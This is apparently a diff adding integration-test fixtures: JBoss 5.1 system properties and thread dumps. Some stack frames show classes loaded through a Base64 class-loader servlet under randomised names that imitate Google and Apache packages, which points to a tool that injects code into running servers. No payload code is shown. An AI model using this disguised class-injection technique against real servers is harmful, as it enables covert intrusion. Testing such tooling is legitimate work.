daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.jboss.deployment.scanner.AbstractDeploymentScanner$ScannerThread.loop(AbstractDeploymentScanner.java:280) + at org.jboss.deployment.scanner.AbstractDeploymentScanner$ScannerThread.run(AbstractDeploymentScanner.java:225) + +"JCA PoolFiller" #51 [WAITING] on java.util.LinkedList@29cd761a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.jboss.resource.connectionmanager.PoolFiller.run(PoolFiller.java:87) + at java.lang.Thread.run(Thread.java:662) + +"TimeoutFactory-0" #52 daemon [WAITING] on java.lang.Object@7004ba66 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.jboss.util.timeout.TimeoutPriorityQueueImpl.poll(TimeoutPriorityQueueImpl.java:253) + at org.jboss.util.timeout.TimeoutPriorityQueueImpl.take(TimeoutPriorityQueueImpl.java:230) + at org.jboss.util.timeout.TimeoutFactory.doWork(TimeoutFactory.java:215) + at org.jboss.util.timeout.TimeoutFactory.access$000(TimeoutFactory.java:41) + at org.jboss.util.timeout.TimeoutFactory$1.run(TimeoutFactory.java:136) + +"AcceptorThread#0:3873" #31 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at org.jboss.remoting.transport.socket.SocketServerInvoker.run(SocketServerInvoker.java:520) + at java.lang.Thread.run(Thread.java:662) + +"DefaultQuartzScheduler_Worker-9" #47 [TIMED_WAITING] on java.lang.Object@3415ddf5 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.quartz.simpl.SimpleThreadPool.getNextRunnable(SimpleThreadPool.java:428) + at org.quartz.simpl.SimpleThreadPool.access$000(SimpleThreadPool.java:47) + at org.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:518) + +"JBossLifeThread" #54 [WAITING] on java.lang.Object@4669b7fe + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.jboss.system.server.ServerImpl$LifeThread.run(ServerImpl.java:940) + +"DefaultQuartzScheduler_Worker-3" #41 [TIMED_WAITING] on java.lang.Object@3415ddf5 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.quartz.simpl.SimpleThreadPool.getNextRunnable(SimpleThreadPool.java:428) + at org.quartz.simpl.SimpleThreadPool.access$000(SimpleThreadPool.java:47) + at org.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:518) + +"http-0.0.0.0-8080-4" #60 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:129) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:700) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:366) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:805) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:583) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:446) + at java.lang.Thread.run(Thread.java:662) + +"ContainerBackgroundProcessor[StandardEngine[jboss.web]]" #34 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1578) + at java.lang.Thread.run(Thread.java:662) + +"DefaultQuartzScheduler_Worker-6" #44 [TIMED_WAITING] on java.lang.Object@3415ddf5 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.quartz.simpl.SimpleThreadPool.getNextRunnable(SimpleThreadPool.java:428) + at org.quartz.simpl.SimpleThreadPool.access$000(SimpleThreadPool.java:47) + at org.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:518) + +"Listener:35129" #26 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at com.arjuna.ats.internal.arjuna.recovery.Listener.run(Listener.java:119) + +"DefaultQuartzScheduler_Worker-7" #45 [TIMED_WAITING] on java.lang.Object@3415ddf5 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.quartz.simpl.SimpleThreadPool.getNextRunnable(SimpleThreadPool.java:428) + at org.quartz.simpl.SimpleThreadPool.access$000(SimpleThreadPool.java:47) + at org.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:518) + +"http-0.0.0.0-8080-1" #56 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:129) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:700) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:366) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:805) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:583) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:446) + at java.lang.Thread.run(Thread.java:662) + +"DefaultQuartzScheduler_Worker-1" #39 [TIMED_WAITING] on java.lang.Object@3415ddf5 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.quartz.simpl.SimpleThreadPool.getNextRunnable(SimpleThreadPool.java:428) + at org.quartz.simpl.SimpleThreadPool.access$000(SimpleThreadPool.java:47) + at org.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:518) + +"GC Daemon" #18 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@46aea8cf + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:100) + +"HSQLDB Timer @16cb5d35" #49 daemon [TIMED_WAITING] on org.hsqldb.lib.HsqlTimer$TaskQueue@74ccd249 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.hsqldb.lib.HsqlTimer$TaskQueue.park(Unknown Source) + at org.hsqldb.lib.HsqlTimer.nextTask(Unknown Source) + at org.hsqldb.lib.HsqlTimer$TaskRunner.run(Unknown Source) + at java.lang.Thread.run(Thread.java:662) + +"DefaultQuartzScheduler_Worker-2" #40 [TIMED_WAITING] on java.lang.Object@3415ddf5 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.quartz.simpl.SimpleThreadPool.getNextRunnable(SimpleThreadPool.java:428) + at org.quartz.simpl.SimpleThreadPool.access$000(SimpleThreadPool.java:47) + at org.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:518) + +"WorkManager(2)-1" #37 daemon [WAITING] on EDU.oswego.cs.dl.util.concurrent.Semaphore@3301f287 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at EDU.oswego.cs.dl.util.concurrent.Semaphore.acquire(Semaphore.java:108) + at EDU.oswego.cs.dl.util.concurrent.SemaphoreControlledChannel.take(SemaphoreControlledChannel.java:131) + at org.jboss.resource.adapter.mail.inflow.NewMsgsWorker.run(NewMsgsWorker.java:75) + at org.jboss.resource.work.WorkWrapper.execute(WorkWrapper.java:204) + at org.jboss.util.threadpool.BasicTaskWrapper.run(BasicTaskWrapper.java:275) + at EDU.oswego.cs.dl.util.concurrent.PooledExecutor$Worker.run(PooledExecutor.java:756) + at java.lang.Thread.run(Thread.java:662) + +"PooledInvokerAcceptor#0-4445" #28 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at org.jboss.invocation.pooled.server.PooledInvoker.run(PooledInvoker.java:262) + at java.lang.Thread.run(Thread.java:662) + +"Listener:40597" #20 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at com.arjuna.ats.internal.arjuna.recovery.Listener.run(Listener.java:119) + +"UILServerILService Accept Thread" #53 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at org.jboss.mq.il.uil2.UILServerILService.run(UILServerILService.java:159) + at java.lang.Thread.run(Thread.java:662) + +"DefaultQuartzScheduler_Worker-8" #46 [TIMED_WAITING] on java.lang.Object@3415ddf5 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.quartz.simpl.SimpleThreadPool.getNextRunnable(SimpleThreadPool.java:428) + at org.quartz.simpl.SimpleThreadPool.access$000(SimpleThreadPool.java:47) + at org.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:518) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@44d9973a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:118) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:134) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:171) + +"JBoss System Threads(1)-1" #15 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at org.jboss.web.WebServer.run(WebServer.java:320) + at org.jboss.util.threadpool.RunnableTaskWrapper.run(RunnableTaskWrapper.java:148) + at EDU.oswego.cs.dl.util.concurrent.PooledExecutor$Worker.run(PooledExecutor.java:756) + at java.lang.Thread.run(Thread.java:662) + +"Thread-6" #36 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.jboss.console.plugins.AOPLister$1.run(AOPLister.java:882) + at java.lang.Thread.run(Thread.java:662) + +"Timer-1" #50 daemon [TIMED_WAITING] on java.util.TaskQueue@29578426 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"ServerSocketRefresh" #30 daemon [WAITING] on java.lang.Object@30a4effe + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.jboss.remoting.transport.socket.SocketServerInvoker$ServerSocketRefresh.run(SocketServerInvoker.java:704) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EDU.oswego.cs.dl.util.concurrent.PooledExecutor$Worker +EDU.oswego.cs.dl.util.concurrent.Semaphore +EDU.oswego.cs.dl.util.concurrent.SemaphoreControlledChannel +EmptyFilter +com.arjuna.ats.internal.arjuna.coordinator.ReaperThread +com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor +com.arjuna.ats.internal.arjuna.recovery.Listener +com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery +org.apache.ViswT.ErrorHandler +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.valves.ErrorReportValve +org.apache.coyote.http11.Http11Processor +org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler +org.apache.coyote.http11.InternalInputBuffer +org.apache.tomcat.util.net.DefaultServerSocketFactory +org.apache.tomcat.util.net.JIoEndpoint$Acceptor +org.apache.tomcat.util.net.JIoEndpoint$Worker +org.hsqldb.lib.HsqlTimer +org.hsqldb.lib.HsqlTimer$TaskQueue +org.hsqldb.lib.HsqlTimer$TaskRunner +org.jboss.console.plugins.AOPLister$1 +org.jboss.deployment.scanner.AbstractDeploymentScanner$ScannerThread +org.jboss.invocation.pooled.server.PooledInvoker +org.jboss.mq.il.uil2.UILServerILService +org.jboss.mq.server.MessageCache +org.jboss.remoting.transport.socket.SocketServerInvoker +org.jboss.remoting.transport.socket.SocketServerInvoker$ServerSocketRefresh +org.jboss.resource.adapter.mail.inflow.NewMsgsWorker +org.jboss.resource.connectionmanager.PoolFiller +org.jboss.resource.work.WorkWrapper +org.jboss.system.server.ServerImpl$LifeThread +org.jboss.util.threadpool.BasicTaskWrapper +org.jboss.util.threadpool.RunnableTaskWrapper +org.jboss.util.timeout.TimeoutFactory +org.jboss.util.timeout.TimeoutFactory$1 +org.jboss.util.timeout.TimeoutPriorityQueueImpl +org.jboss.web.WebServer +org.jboss.web.tomcat.filters.ReplyHeaderFilter +org.jboss.web.tomcat.security.JaccContextValve +org.jboss.web.tomcat.security.SecurityAssociationValve +org.jboss.web.tomcat.service.jca.CachedConnectionValve +org.jboss.ws.extensions.eventing.mgmt.SubscriptionManager$WatchDog +org.jnp.server.Main$AcceptHandler +org.quartz.core.QuartzSchedulerThread +org.quartz.simpl.SimpleThreadPool +org.quartz.simpl.SimpleThreadPool$WorkerThread diff --git a/integration-test/src/test/resources/infos/Jboss510ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Jboss510ContainerTestBasicInfo.txt new file mode 100644 index 00000000..91ff05a5 --- /dev/null +++ b/integration-test/src/test/resources/infos/Jboss510ContainerTestBasicInfo.txt @@ -0,0 +1,358 @@ +# Generated At 2025-08-10 14:57:52 +SystemProps: +java.vendor: Sun Microsystems Inc. +sun.java.launcher: SUN_STANDARD +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.name: Linux +sun.boot.class.path: /usr/local/jboss/lib/endorsed/activation.jar:/usr/local/jboss/lib/endorsed/jaxb-api.jar:/usr/local/jboss/lib/endorsed/resolver.jar:/usr/local/jboss/lib/endorsed/serializer.jar:/usr/local/jboss/lib/endorsed/stax-api.jar:/usr/local/jboss/lib/endorsed/xalan.jar:/usr/local/jboss/lib/endorsed/xercesImpl.jar:/opt/java/jdk1.6.0_45/jre/lib/resources.jar:/opt/java/jdk1.6.0_45/jre/lib/rt.jar:/opt/java/jdk1.6.0_45/jre/lib/sunrsasign.jar:/opt/java/jdk1.6.0_45/jre/lib/jsse.jar:/opt/java/jdk1.6.0_45/jre/lib/jce.jar:/opt/java/jdk1.6.0_45/jre/lib/charsets.jar:/opt/java/jdk1.6.0_45/jre/lib/modules/jdk.boot.jar:/opt/java/jdk1.6.0_45/jre/classes +java.vm.specification.vendor: Sun Microsystems Inc. +java.runtime.version: 1.6.0_45-b06 +org.apache.catalina.core.StandardHost.autoDeploy: false +user.name: root +jboss.bind.address: 0.0.0.0 +jboss.messaging.connector.bisocket.port: 4457 +tomcat.util.buf.StringCache.byte.enabled: true +jboss.home.dir: /usr/local/jboss +com.arjuna.common.util.logging.DebugLevel: 0x00000000 +java.naming.factory.initial: org.jnp.interfaces.NamingContextFactory +user.language: en +sun.boot.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64 +com.arjuna.ats.jta.lastResourceOptimisationInterface: org.jboss.tm.LastResource +jboss.home.url: file:/usr/local/jboss/ +java.version: 1.6.0_45 +java.util.logging.manager: org.jboss.logmanager.LogManager +user.timezone: UTC +java.net.preferIPv4Stack: true +jboss.server.home.dir: /usr/local/jboss/server/web +org.apache.catalina.core.StandardHost.startChildren: false +jgroups.bind_addr: 231a358c677f +sun.arch.data.model: 64 +org.apache.jasper.runtime.BodyContentImpl.LIMIT_BUFFER: true +java.endorsed.dirs: /usr/local/jboss/lib/endorsed +jboss.server.home.url: file:/usr/local/jboss/server/web/ +sun.cpu.isalist: +sun.jnu.encoding: ANSI_X3.4-1968 +file.encoding.pkg: sun.io +file.separator: / +java.specification.name: Java Platform API Specification +org.apache.catalina.connector.Request.SESSION_ID_CHECK: true +com.arjuna.ats.tsmx.agentimpl: com.arjuna.ats.internal.jbossatx.agent.LocalJBossAgentImpl +java.class.version: 50.0 +jboss.server.config.url: file:/usr/local/jboss/server/web/conf/ +jboss.common.lib.url: file:/usr/local/jboss/common/lib/ +user.country: US +java.home: /opt/java/jdk1.6.0_45/jre +jboss.server.log.threshold: INFO +java.vm.info: mixed mode +jboss.lib.url: file:/usr/local/jboss/lib/ +bind.address: 231a358c677f +org.apache.catalina.STRICT_SERVLET_COMPLIANCE: true +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +path.separator: : +jbm.remoting.netty.port: 5445 +java.vm.version: 20.45-b01 +java.protocol.handler.pkgs: org.jboss.net.protocol|org.jboss.virtual.protocol +java.awt.printerjob: sun.print.PSPrinterJob +sun.io.unicode.encoding: UnicodeLittle +com.arjuna.common.util.logger: log4j_releveler +xb.builder.useUnorderedSequence: true +java.naming.factory.url.pkgs: org.jboss.naming:org.jnp.interfaces +jboss.server.temp.dir: /usr/local/jboss/server/web/tmp +java.rmi.server.RMIClassLoaderSpi: org.jboss.system.JBossRMIClassLoader +sun.rmi.dgc.client.gcInterval: 3600000 +user.home: /root +java.specification.vendor: Sun Microsystems Inc. +jbm.remoting.netty.ssl.port: 5446 +java.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64/server:/opt/java/jdk1.6.0_45/jre/lib/amd64:/opt/java/jdk1.6.0_45/jre/../lib/amd64:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib +org.jboss.resolver.warning: true +java.vendor.url: http://java.sun.com/ +program.name: run.sh +jboss.common.base.url: file:/usr/local/jboss/common/ +java.vm.vendor: Sun Microsystems Inc. +sun.rmi.dgc.server.gcInterval: 3600000 +java.runtime.name: Java(TM) SE Runtime Environment +sun.java.command: org.jboss.Main -c web -b 0.0.0.0 +java.class.path: /usr/local/jboss/bin/run.jar:/opt/java/jdk1.6.0_45/lib/tools.jar +org.apache.catalina.core.StandardHost.configClass: org.jboss.web.tomcat.service.deployers.JBossContextConfig +jboss.server.log.dir: /usr/local/jboss/server/web/log +jbossmx.loader.repository.class: org.jboss.mx.loading.UnifiedLoaderRepository3 +java.vm.specification.name: Java Virtual Machine Specification +catalina.home: /usr/local/jboss/server/web +java.vm.specification.version: 1.0 +com.arjuna.common.util.logging.VisibilityLevel: 0xffffffff +sun.cpu.endian: little +sun.os.patch.level: unknown +jboss.server.lib.url: file:/usr/local/jboss/server/web/lib/ +com.arjuna.ats.arjuna.objectstore.objectStoreDir: /usr/local/jboss/server/web/data/tx-object-store +TSMX_VERSION: unknown +java.io.tmpdir: /tmp +java.vendor.url.bug: http://java.sun.com/cgi-bin/bugreport.cgi +jboss.server.data.dir: /usr/local/jboss/server/web/data +java.rmi.server.hostname: 231a358c677f +jboss.vfs.forceCopy: true +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +os.arch: amd64 +org.apache.catalina.core.StandardHost.deployXML: false +java.ext.dirs: /opt/java/jdk1.6.0_45/jre/lib/ext:/usr/java/packages/lib/ext +PROPERTIES_FILE: tsmx.properties +user.dir: /usr/local/jboss +org.apache.catalina.core.StandardHost.deployOnStartup: false +line.separator: + +java.vm.name: Java HotSpot(TM) 64-Bit Server VM +jboss.server.base.dir: /usr/local/jboss/server +org.apache.commons.logging.Log: org.apache.commons.logging.impl.Log4JLogger +com.arjuna.common.util.logging.FacilityLevel: 0xffffffff +jboss.server.base.url: file:/usr/local/jboss/server/ +javax.management.builder.initial: org.jboss.mx.server.MBeanServerBuilderImpl +file.encoding: ANSI_X3.4-1968 +org.apache.catalina.core.StandardService.DELAY_CONNECTOR_STARTUP: true +catalina.ext.dirs: /usr/local/jboss/server/web/lib +java.specification.version: 1.6 +jboss.server.name: web + +=========================================== + +ThreadStacks: +"ZipFile Lock Reaper" #13 daemon [TIMED_WAITING] on java.util.TaskQueue@53395472 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"Listener:4713" #16 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at com.arjuna.ats.internal.arjuna.recovery.Listener.run(Listener.java:118) + +"DestroyJavaVM" #9 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-0.0.0.0-8080-1" #29 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:129) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:729) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:366) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:790) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:598) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:447) + at java.lang.Thread.run(Thread.java:662) + +"ajp-0.0.0.0-8009-Acceptor-0" #28 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at org.apache.tomcat.util.net.DefaultServerSocketFactory.acceptSocket(DefaultServerSocketFactory.java:61) + at org.apache.tomcat.util.net.JIoEndpoint$Acceptor.run(JIoEndpoint.java:310) + at java.lang.Thread.run(Thread.java:662) + +"Timer-0" #12 daemon [TIMED_WAITING] on java.util.TaskQueue@58d7330d + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"Thread-8" #21 [TIMED_WAITING] on java.lang.Object@1858c80c + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.doBackoffWait(PeriodicRecovery.java:660) + at com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.doWorkInternal(PeriodicRecovery.java:765) + at com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.run(PeriodicRecovery.java:412) + +"ContainerBackgroundProcessor[StandardEngine[jboss.web]]" #24 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1590) + at java.lang.Thread.run(Thread.java:662) + +"http-0.0.0.0-8080-3" #31 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:129) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:729) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:366) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:790) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:598) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:447) + at java.lang.Thread.run(Thread.java:662) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@6cb59850 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:118) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:134) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:171) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"HSQLDB Timer @48b30ae" #25 daemon [TIMED_WAITING] on org.hsqldb.lib.HsqlTimer$TaskQueue@622e3f2 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.hsqldb.lib.HsqlTimer$TaskQueue.park(Unknown Source) + at org.hsqldb.lib.HsqlTimer.nextTask(Unknown Source) + at org.hsqldb.lib.HsqlTimer$TaskRunner.run(Unknown Source) + at java.lang.Thread.run(Thread.java:662) + +"HDScanner" #15 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ca32803 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at java.util.concurrent.DelayQueue.take(DelayQueue.java:164) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:609) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:602) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:957) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:917) + at java.lang.Thread.run(Thread.java:662) + +"Timer-Log4jService" #14 daemon [TIMED_WAITING] on java.util.TaskQueue@5b980c78 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"Listener:4712" #23 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at com.arjuna.ats.internal.arjuna.recovery.Listener.run(Listener.java:118) + +"http-0.0.0.0-8080-5" #33 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1530) + at com.google.gso.izwNI.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2826) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:226) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) + at org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:96) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:235) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:191) + at org.jboss.web.tomcat.security.SecurityAssociationValve.invoke(SecurityAssociationValve.java:190) + at org.jboss.web.tomcat.security.JaccContextValve.invoke(JaccContextValve.java:92) + at org.jboss.web.tomcat.security.SecurityContextEstablishmentValve.process(SecurityContextEstablishmentValve.java:126) + at org.jboss.web.tomcat.security.SecurityContextEstablishmentValve.invoke(SecurityContextEstablishmentValve.java:70) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) + at org.jboss.web.tomcat.service.jca.CachedConnectionValve.invoke(CachedConnectionValve.java:158) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:330) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:829) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:598) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:447) + at java.lang.Thread.run(Thread.java:662) + +"Thread-6" #19 daemon [WAITING] on java.util.LinkedList@5b5ac942 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at 